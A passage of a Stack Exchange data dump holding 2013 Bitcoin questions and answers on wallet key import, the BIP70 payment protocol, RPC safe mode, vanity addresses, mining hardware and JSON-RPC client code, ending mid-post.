  <row Id="14154" PostTypeId="1" CreationDate="2013-10-29T18:48:03.833" Score="8" ViewCount="7351" Body="&lt;p&gt;Sorry to sound like a total Bitcoin noob (which I am).&#xA;I've just made a purchase at the new Robocoin Bitcoin ATM.  I have a paper receipt that has a Private Key (starting with 5 and 51 characters long).&#xA;How do I import this key into my wallet? I'm using MultiBit 0.5.14 on Ubuntu.&#xA;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="7352" LastActivityDate="2016-05-18T12:02:08.457" Title="How do import a paper private key into MultiBit?" Tags="|multibit|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14155" PostTypeId="2" ParentId="14154" CreationDate="2013-10-29T20:14:18.890" Score="7" Body="&lt;p&gt;Tools -&gt; Import Private Keys&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a file with the private key inside it. If you do not add the time of creation of this address, you get this message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;There were missing dates. Have to go back to genesis block.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I think this date should be the first transaction date registered in the block chain.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Key createdAt is in UTC format as specified by ISO 8601&#xA;  e.g: 2011-12-31T16:42:00Z . The century, 'T' and 'Z' are mandatory&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To be safe, turn the date back a few days.&lt;/p&gt;&#xA;" OwnerUserId="6756" LastActivityDate="2013-10-29T20:14:18.890" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14156" PostTypeId="1" CreationDate="2013-10-29T20:51:27.623" Score="2" ViewCount="239" Body="&lt;p&gt;I'm looking for an overview and requirements on how this will work... including&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Root CA selection (across the platforms)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What does the request look like?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How does the payment &quot;flow&quot; look like?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2013-10-30T00:09:48.787" LastActivityDate="2013-10-30T00:18:55.833" Title="How will X509-validated payments request work? (AKA &quot;The Payment Protocol&quot;)" Tags="|bitcoin-core|payment|bip70-payment-protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14157" PostTypeId="2" ParentId="14156" CreationDate="2013-10-29T21:11:50.633" Score="1" Body="&lt;p&gt;The main benefit of the &lt;a href=&quot;https://en.bitcoin.it/wiki/Payment_Request&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Payment Protocol&lt;/a&gt; (seen in &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0070&quot; rel=&quot;nofollow noreferrer&quot;&gt;BIP 070&lt;/a&gt;)  is to provide for a better customer experience and better security against man-in-the-middle attacks on the payment process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this &lt;a href=&quot;https://bitcointalk.org/index.php?topic=300809.msg3225143#msg3225143&quot; rel=&quot;nofollow noreferrer&quot;&gt;BitcoinTalk announcment&lt;/a&gt; and information from &lt;a href=&quot;https://bitcoinfoundation.org/blog/?p=290&quot; rel=&quot;nofollow noreferrer&quot;&gt;the Bitcoin Foundation&lt;/a&gt;.  The code for this is located in the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/qt/paymentserver.cpp&quot; rel=&quot;nofollow noreferrer&quot;&gt;PaymentServer.cpp&lt;/a&gt; file&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How are Root CAs selected?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Root CAs are selected from &lt;a href=&quot;http://www.mozilla.org/projects/security/certs/included/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this Mozilla root CA list.&lt;/a&gt;  Although I haven't seen anything to verify this, but I hope there is a way to account for Certificate &quot;extended key usage&quot; in the PKI hierarchy. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What does the request process look like?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No GUI screenshot of this process is available (yet), but a workflow of the process looks like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4gu5B.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2013-10-30T00:18:55.833" LastActivityDate="2013-10-30T00:18:55.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14159" PostTypeId="2" ParentId="14153" CreationDate="2013-10-29T22:03:56.703" Score="1" Body="&lt;p&gt;If you want to communicate with several nodes, you can use existing JSON RPC libraries and issue requests via the API. Check out these libraries:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://json-rpc.org/wiki/python-json-rpc&quot; rel=&quot;nofollow&quot;&gt;JSON-RPC&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://pypi.python.org/pypi/python-jsonrpc&quot; rel=&quot;nofollow&quot;&gt;python-jsonrpc&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6256" LastEditorUserId="1405" LastEditDate="2014-01-21T09:20:45.113" LastActivityDate="2014-01-21T09:20:45.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14160" PostTypeId="1" AcceptedAnswerId="14162" CreationDate="2013-10-29T22:24:27.483" Score="2" ViewCount="1141" Body="&lt;p&gt;The &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/bitcoinrpc.cpp#L223&quot; rel=&quot;nofollow&quot;&gt;source code here&lt;/a&gt; has a list of RPC commands and a &quot;okSafeMode&quot; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the purpose of this SafeMode and how does it affect the usage of the client?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-10-30T00:55:32.440" Title="What is &quot;safe mode&quot; and how does it affect RPC Commands?" Tags="|bitcoin-core|json-rpc|safemode|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14161" PostTypeId="2" ParentId="14151" CreationDate="2013-10-30T00:31:10.027" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Surely the address must exist first before the raw block can allocate the mined coins to it?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. The network has no concept of addresses. When you send money, you're actually sending funds to a public key or public key hash. The Bitcoin address format you're familiar with is just a way of representing public key hashes in a human-readable way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is especially true of generation transactions, which typically send money directly to a public key. Bitcoin-Qt normally doesn't calculate or display the address in such cases, though it's still possible to calculate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;coinbase&quot; doesn't contain the address or public key. That's just mostly-arbitrary data. It contains the block height, extraNonce, etc. The address is in &quot;scriptPubKey&quot;. In the genesis block's generation transaction, the scriptPubKey is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;04678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5f OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a direct-to-public-key transaction, not a normal address transaction. 04678... is the uncompressed ECDSA public key. Follow the instructions on that wiki page to get the address, 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa. But again, this transaction doesn't contain this address, or even its base58-decoded (binary) equivalent. The address is just a way of representing the public key.&lt;/p&gt;&#xA;" OwnerUserId="403" LastEditorUserId="403" LastEditDate="2013-10-30T00:58:49.613" LastActivityDate="2013-10-30T00:58:49.613" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14162" PostTypeId="2" ParentId="14160" CreationDate="2013-10-30T00:55:32.440" Score="1" Body="&lt;p&gt;When Bitcoin-Qt detects that something is seriously wrong with the network, it disables most RPC functionality in order to prevent automated Bitcoin sites from losing a lot of money due to network problems. (The okSafeMode functions are not disabled.) All versions since ~0.3 go into safe mode when the longest chain is invalid (illegal transaction, creating too much money, etc.). Upcoming versions will also go into safe mode when a large fork (valid or invalid) is in danger of overtaking the current chain.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2013-10-30T00:55:32.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14163" PostTypeId="1" AcceptedAnswerId="14165" CreationDate="2013-10-30T03:23:42.157" Score="1" ViewCount="938" Body="&lt;p&gt;I have noticed that many bitcoin addresses begin with numbers or uppercase characters. I realize that all addresses begin with the number one but can I generate an address with the second character being lowercase?  Is it significantly harder to generate an address with multiple lowercase letters at the beginning? Are there any other limitations in regards to generating vanity addresses?  &lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2014-04-06T19:33:51.993" Title="Are there any limitations to vanity addresses?" Tags="|vanity-address|vanitygen|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14165" PostTypeId="2" ParentId="14163" CreationDate="2013-10-30T03:57:01.423" Score="2" Body="&lt;p&gt;Overall, you have to start with a &quot;1&quot; (unless you're doing alt-coins). Then the first letter is the only one that can be more tricky to generate (&lt;a href=&quot;https://bitcoin.stackexchange.com/q/3854/323&quot;&gt;some letters from the end of the Base58 alphabet are harder&lt;/a&gt;). Also, generating an address with a lot of leading 1s is a lot harder than any other characters due to &lt;a href=&quot;https://en.bitcoin.it/wiki/Base58Check_encoding&quot; rel=&quot;nofollow noreferrer&quot;&gt;how addresses are constructed&lt;/a&gt; (leading 1s mean that you have a whole leading byte of 0x00 at the start of the address, or about 1 in 255 change in comparison to 1 in 58 chance for any other letter). After the leading 1s and the first letter, everything else is the same 1 in 58 chance of being any letter no matter what it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So all in all, you can generate any combination of letters and numbers in a Bitcoin address as long as it starts with &quot;1&quot;, but some combinations are harder to generate. The same can't be said for other altcoins with a specific netbyte, since some starting patterns may be outside of their name space.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2013-10-30T03:57:01.423" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14166" PostTypeId="1" AcceptedAnswerId="14173" CreationDate="2013-10-30T05:17:06.497" Score="-2" ViewCount="2357" Body="&lt;p&gt;I'm looking for 10-port, externally powered usb hubs.  I can provide all the current at 5V that I'd need though and thus would NOT like it to come with an ac adapter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A common one sold by different people seems to be:&#xA;&lt;a href=&quot;http://amzn.to/1aB89i1&quot; rel=&quot;nofollow&quot;&gt;http://amzn.to/1aB89i1&lt;/a&gt;&#xA;&lt;a href=&quot;http://amzn.to/1cjfXq1&quot; rel=&quot;nofollow&quot;&gt;http://amzn.to/1cjfXq1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the one I got is not consistently being recognized by a linux box (doesn't show up in output of lsusb).&lt;/p&gt;&#xA;" OwnerUserId="7171" LastEditorUserId="5406" LastEditDate="2016-04-28T14:23:07.857" LastActivityDate="2016-04-28T14:23:07.857" Title="USB Hub for Mining Rig" Tags="|mining-hardware|" AnswerCount="2" CommentCount="1" ClosedDate="2014-02-09T01:40:06.703" ContentLicense="CC BY-SA 3.0" />
  <row Id="14167" PostTypeId="1" CreationDate="2013-10-30T06:06:08.413" Score="6" ViewCount="299" Body="&lt;p&gt;I'm looking at BIP0070 and also &lt;a href=&quot;https://bitcointalk.org/index.php?topic=300809.0;all&quot; rel=&quot;nofollow&quot;&gt;this forum thread&lt;/a&gt; which is locked for some reason; so I'll post here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it comes to validating a certificate for the purpose of a Bitcoin payment, each certificate is &quot;authoritative&quot; for different things, such as SSL or S/MIME.  Some certificates also have something called a &quot;Basic Constraints&quot; set so an end entity isn't marked as a CA... thus confusing the CA validation framework Bitcoin is using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;What are the Extended Certificate rights that are required for use with Bitcoin?  I would assume something with &quot;server authentication&quot; allows for &quot;domain.com&quot; payments, versus a valid email which is &quot;user@domain.com&quot; for SMIME.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Does the breadth of certificate validation types allow for unnecessary spoofing?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there going to be a visual distinction for different certificates (Those with &quot;all purposes&quot;, are expired, for Server Auth, or email?)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Finally, can there be a requirement for DNSSec validation when communicating with a server?   &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Edit: Will certificates be validated in a &quot;normal&quot; manner such as validating the Basic Constraints?  (I'm pretty sure OpenSSL will do this for you in a platform consistent way)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="2306" LastEditDate="2014-12-13T05:59:50.753" LastActivityDate="2017-10-10T22:21:31.970" Title="What restrictions will be placed on X509 certificates that are used in the payment protocol?" Tags="|bitcoin-core|bip70-payment-protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14168" PostTypeId="1" AcceptedAnswerId="14169" CreationDate="2013-10-30T07:07:42.907" Score="1" ViewCount="6886" Body="&lt;p&gt;I am using bitcoin for the first time. Do I need to run both bitcoin-qt and guiminer to start mining? I have installed both programs and currently bitcoin-qt is running and synchronizing with network and there are around 60 more weeks to go.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I guess once synchronizing is done I will get a wallet? And then I can run guiminer so I can start mining in &quot;Slush&quot; mining pool? (I have already registered for an account and worker)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And once synchronizing is done I can close bitcoin-qt and then just use guiminer?&lt;/p&gt;&#xA;" OwnerUserId="7362" LastActivityDate="2013-12-13T11:06:24.707" Title="Do I need both bitcoin client and guiminer to do mining?" Tags="|mining-pools|bitcoin-core|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14169" PostTypeId="2" ParentId="14168" CreationDate="2013-10-30T08:13:55.560" Score="2" Body="&lt;p&gt;If you are mining at a pool, you don't need a client to be running - the pool will provide you with all necessary information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are mining by yourself, you need to run the client to know what you need to put in a new block.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-10-30T08:13:55.560" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14170" PostTypeId="1" AcceptedAnswerId="14177" CreationDate="2013-10-30T08:34:31.763" Score="1" ViewCount="2102" Body="&lt;p&gt;I mean something like listtransactions method but with parameter .&lt;/p&gt;&#xA;" OwnerUserId="7364" LastActivityDate="2013-10-30T21:51:51.760" Title="Is there a JSON-RPC method for retrieving all transactions for a given address?" Tags="|transactions|transaction-fees|json-rpc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14172" PostTypeId="2" ParentId="14168" CreationDate="2013-10-30T09:42:54.607" Score="1" Body="&lt;p&gt;To answer your follow-up comment at the other answer you received:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your bitcoin address is where you would like to receive the reward for your mining work. Either enter the address of a charity of your choice or get your own by creating a wallet. To create a wallet, you do either need a bitcoin client (any will do), or a web service to do so (e.g. &lt;a href=&quot;https://blockchain.info/wallet/&quot; rel=&quot;nofollow&quot;&gt;the one at blockchain.info&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;s&gt;Sorry for not answering in a simple comment, but I can't as apparently I have insufficient reputation to do so.&lt;/s&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2013-10-31T21:16:59.927" LastActivityDate="2013-10-31T21:16:59.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14173" PostTypeId="2" ParentId="14166" CreationDate="2013-10-30T10:05:44.510" Score="1" Body="&lt;p&gt;I can personally recommend your second link, the &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B00825QQQC&quot; rel=&quot;nofollow&quot;&gt;CE Compass 10&lt;/a&gt;.  I have used 4 of them, and they work equally well in Windows, Debian, and BAMT.&lt;/p&gt;&#xA;" OwnerUserId="7365" LastActivityDate="2013-10-30T10:05:44.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14176" PostTypeId="2" ParentId="1706" CreationDate="2013-10-30T11:54:46.673" Score="-1" Body="&lt;p&gt;If the question is turnover ie purchases /sales/volumes then its here  &lt;a href=&quot;http://btckan.com/price&quot; rel=&quot;nofollow&quot;&gt;http://btckan.com/price&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and its CHINA who is the leader by 2-1 and some days 4-1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=319898.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=319898.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7370" LastActivityDate="2013-10-30T11:54:46.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14177" PostTypeId="2" ParentId="14170" CreationDate="2013-10-30T12:29:56.397" Score="2" Body="&lt;p&gt;This would be nice but, no, there isn't a way to do this.  The simplest way to accumulate this information is to call &lt;code&gt;listtransactions&lt;/code&gt; or &lt;code&gt;listunspent&lt;/code&gt; for a list of transactions in your account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After receiving the list, filter for the needed information.  It is worth mentioning the &lt;code&gt;listunspent&lt;/code&gt; RPC call.  This can cut down on a lot of returned data if you are only interested in the incoming transactions that make up your current balance.&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2013-10-30T12:39:12.247" LastActivityDate="2013-10-30T12:39:12.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14178" PostTypeId="1" CreationDate="2013-10-30T12:51:56.320" Score="1" ViewCount="3496" Body="&lt;p&gt;I am trying to build a C# application working on JSON-RPC with Bitcoin-qt (server mode).&#xA;I am using Bitsharp, though I don't think this should matter at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off the InvokeMethod:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        public JObject InvokeMethod(string a_sMethod, params object[] a_params)&#xA;    {&#xA;        HttpWebRequest webRequest = (HttpWebRequest)WebRequest.Create(Url);&#xA;        webRequest.Credentials = Credentials;&#xA;&#xA;        webRequest.ContentType = &quot;application/json-rpc&quot;;&#xA;        webRequest.Method = &quot;POST&quot;;&#xA;&#xA;        JObject joe = new JObject();&#xA;        joe[&quot;jsonrpc&quot;] = &quot;1.0&quot;;&#xA;        joe[&quot;id&quot;] = &quot;1&quot;;&#xA;        joe[&quot;method&quot;] = a_sMethod;&#xA;&#xA;        if (a_params != null)&#xA;        {&#xA;            if (a_params.Length &amp;gt; 0)&#xA;            {&#xA;                JArray props = new JArray();&#xA;                foreach (var p in a_params)&#xA;                {&#xA;                    props.Add(p);&#xA;                }&#xA;                joe.Add(new JProperty(&quot;params&quot;, props));&#xA;            }&#xA;        }&#xA;&#xA;        string s = JsonConvert.SerializeObject(joe);&#xA;        // serialize json for the request&#xA;        byte[] byteArray = Encoding.UTF8.GetBytes(s);&#xA;        webRequest.ContentLength = byteArray.Length;&#xA;&#xA;        using (System.IO.StreamWriter file = new System.IO.StreamWriter(@&quot;D:\WriteLines2.txt&quot;, true))&#xA;        {&#xA;            //file.WriteLine(s);&#xA;        }&#xA;        using (Stream dataStream = webRequest.GetRequestStream())&#xA;        {&#xA;            dataStream.Write(byteArray, 0, byteArray.Length);&#xA;        }&#xA;&#xA;        using (WebResponse webResponse = webRequest.GetResponse())&#xA;        {&#xA;            using (Stream str = webResponse.GetResponseStream())&#xA;            {&#xA;                using (StreamReader sr = new StreamReader(str))&#xA;                {&#xA;                    return JsonConvert.DeserializeObject&amp;lt;JObject&amp;gt;(sr.ReadToEnd());&#xA;                }&#xA;            }&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Secondly, this is the object I am building:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JContainer jArray = new JArray();&#xA;&#xA;        JArray jArrayTx = new JArray();&#xA;&#xA;        foreach (var ObjectTx in inputs.result)&#xA;        {&#xA;            JObject jObjectTx = new JObject();&#xA;            jObjectTx.Add(&quot;txid&quot;, ObjectTx.txid);&#xA;            jObjectTx.Add(&quot;vout&quot;, ObjectTx.vout);&#xA;            jArrayTx.Add(jObjectTx);&#xA;        }&#xA;&#xA;        jArray.Add(jArrayTx);&#xA;&#xA;        JObject jObjectAddress = new JObject();&#xA;&#xA;        foreach (var ObjectAddress in designatedAddresses)&#xA;        {&#xA;            jObjectAddress.Add(ObjectAddress.Key, ObjectAddress.Value);&#xA;        }&#xA;        if (returnAddress != null)&#xA;        {&#xA;            jObjectAddress.Add(returnAddress, totalUnspent - totalOutput - 0.001);&#xA;        }&#xA;        jArray.Add(jObjectAddress);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bc.InvokeMethod(&quot;createrawtransaction&quot;, jArray);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am trying to pass an object containing 2 arrays.&#xA;1. the array of txid's + vout's&#xA;2. the array of addresses I want to send to + the amounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This for some reason doesn't work, and i can't seem to put my finger on the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EDIT -&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Tried posting my JSON-RPC to file and then running the command directly in the bitcoin-qt command line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the JSON-RPC object which doesn't work&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;jsonrpc&quot;:&quot;1.0&quot;,&quot;id&quot;:&quot;1&quot;,&quot;method&quot;:&quot;createrawtransaction&quot;,&quot;params&quot;:[[[{&quot;txid&quot;:&quot;a89fd1381833a800942812a3981fe9910e364dc4a5fa91332354f8fc8ce02a1f&quot;,&quot;vout&quot;:0},{&quot;txid&quot;:&quot;b45394e27c2beb6b53dcefb79646eebcd9fd406bd9810f4b4138e00adadff637&quot;,&quot;vout&quot;:1},{&quot;txid&quot;:&quot;cae05651bb8f02cb0848bc984537290c375956d5fdfb3ae7e9d4280196f41765&quot;,&quot;vout&quot;:1},{&quot;txid&quot;:&quot;cbf93b0d8bbcadd85b3702653dfe2643d63cdd7ebf5b66f8a3d4c271b2a55492&quot;,&quot;vout&quot;:1}],{&quot;mmhmMNfBiZZ37g1tgg2t8DDbNoEdqKVxAL&quot;:1.4,&quot;n2JSa2L2KY4Eq32jEpBmKZrZTdxgCaNVtR&quot;:5.8735192599999992}]]}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or in object view:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {&#xA;  &quot;jsonrpc&quot;: &quot;1.0&quot;,&#xA;  &quot;id&quot;: &quot;1&quot;,&#xA;  &quot;method&quot;: &quot;createrawtransaction&quot;,&#xA;  &quot;params&quot;: [&#xA;    [&#xA;      [&#xA;        {&#xA;          &quot;txid&quot;: &quot;a89fd1381833a800942812a3981fe9910e364dc4a5fa91332354f8fc8ce02a1f&quot;,&#xA;          &quot;vout&quot;: 0&#xA;        },&#xA;        {&#xA;          &quot;txid&quot;: &quot;b45394e27c2beb6b53dcefb79646eebcd9fd406bd9810f4b4138e00adadff637&quot;,&#xA;          &quot;vout&quot;: 1&#xA;        },&#xA;        {&#xA;          &quot;txid&quot;: &quot;cae05651bb8f02cb0848bc984537290c375956d5fdfb3ae7e9d4280196f41765&quot;,&#xA;          &quot;vout&quot;: 1&#xA;        },&#xA;        {&#xA;          &quot;txid&quot;: &quot;cbf93b0d8bbcadd85b3702653dfe2643d63cdd7ebf5b66f8a3d4c271b2a55492&quot;,&#xA;          &quot;vout&quot;: 1&#xA;        }&#xA;      ],&#xA;      {&#xA;        &quot;mmhmMNfBiZZ37g1tgg2t8DDbNoEdqKVxAL&quot;: 1.4,&#xA;        &quot;n2JSa2L2KY4Eq32jEpBmKZrZTdxgCaNVtR&quot;: 5.8735192599999992&#xA;      }&#xA;    ]&#xA;  ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This does work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;createrawtransaction '[{&quot;txid&quot;:&quot;a89fd1381833a800942812a3981fe9910e364dc4a5fa91332354f8fc8ce02a1f&quot;,&quot;vout&quot;:0},{&quot;txid&quot;:&quot;b45394e27c2beb6b53dcefb79646eebcd9fd406bd9810f4b4138e00adadff637&quot;,&quot;vout&quot;:1},{&quot;txid&quot;:&quot;cae05651bb8f02cb0848bc984537290c375956d5fdfb3ae7e9d4280196f41765&quot;,&quot;vout&quot;:1},{&quot;txid&quot;:&quot;cbf93b0d8bbcadd85b3702653dfe2643d63cdd7ebf5b66f8a3d4c271b2a55492&quot;,&quot;vout&quot;:1}]' '{&quot;mmhmMNfBiZZ37g1tgg2t8DDbNoEdqKVxAL&quot;:1.4,&quot;n2JSa2L2KY4Eq32jEpBmKZrZTdxgCaNVtR&quot;:5.8735192599999992}'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What was needed for it to work is to remove the excess &lt;strong&gt;[&lt;/strong&gt; and to wrap the tx's in &lt;strong&gt;' '&lt;/strong&gt; and add a white space between the tx's and the spending addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;** This works in the bitcoin-qt console, though i am unable to get createrawtransaction to work on json-rpc&lt;/p&gt;&#xA;" OwnerUserId="7371" LastEditorUserId="7371" LastEditDate="2013-10-31T12:47:15.300" LastActivityDate="2013-10-31T12:47:15.300" Title="C# - JSON-RPC - How to build the json object before serialization (createrawtransaction)" Tags="|transactions|json-rpc|c#|raw-transaction|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14179" PostTypeId="2" ParentId="14166" CreationDate="2013-10-30T13:38:50.330" Score="1" Body="&lt;p&gt;I  use the &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B005NGQWL2&quot; rel=&quot;nofollow&quot;&gt;Anker 9 Port USB 3.0 Hub&lt;/a&gt;. I have 3 of these and they are 100% flawless. Remember you get what you pay for, and these are the best.&lt;/p&gt;&#xA;" OwnerUserId="7373" LastActivityDate="2013-10-30T13:38:50.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14181" PostTypeId="2" ParentId="1706" CreationDate="2013-10-30T15:16:21.153" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://99bitcoins.com/bitcoin-trends-throughout-world/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here is a breakdown&lt;/a&gt; of Bitcoin by countries taken form Google Trends:&lt;/p&gt;&#xA;&lt;p&gt;What you can see in that Estonia and Finland are first and only after that comes the US.&lt;/p&gt;&#xA;" OwnerUserId="4348" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-05-08T06:38:51.017" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14182" PostTypeId="1" CreationDate="2013-10-30T15:20:26.240" Score="-4" ViewCount="321" Body="&lt;p&gt;Although it was working previously (like a day ago), I now am not receiving any messages through the MtGox streaming API (socket.io). Code is below, am I doing anything obviously wrong? The connection message is printing out so I assume it's connected OK.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var conn = io.connect('https://socketio.mtgox.com/mtgox');&#xA;&#xA;conn.on('connect', function(data) {&#xA;    console.log(&quot;Connected to Mt.Gox&quot;);&#xA;    conn.send({&#xA;      &quot;op&quot;: &quot;mtgox.subscribe&quot;,&#xA;      &quot;type&quot;: &quot;depth&quot;&#xA;    });&#xA;    conn.send({&#xA;      &quot;op&quot;: &quot;mtgox.subscribe&quot;,&#xA;      &quot;type&quot;: &quot;trade&quot;&#xA;    });&#xA;});&#xA;&#xA;conn.on('message', function(data) {&#xA;    if ('private' === data.op) 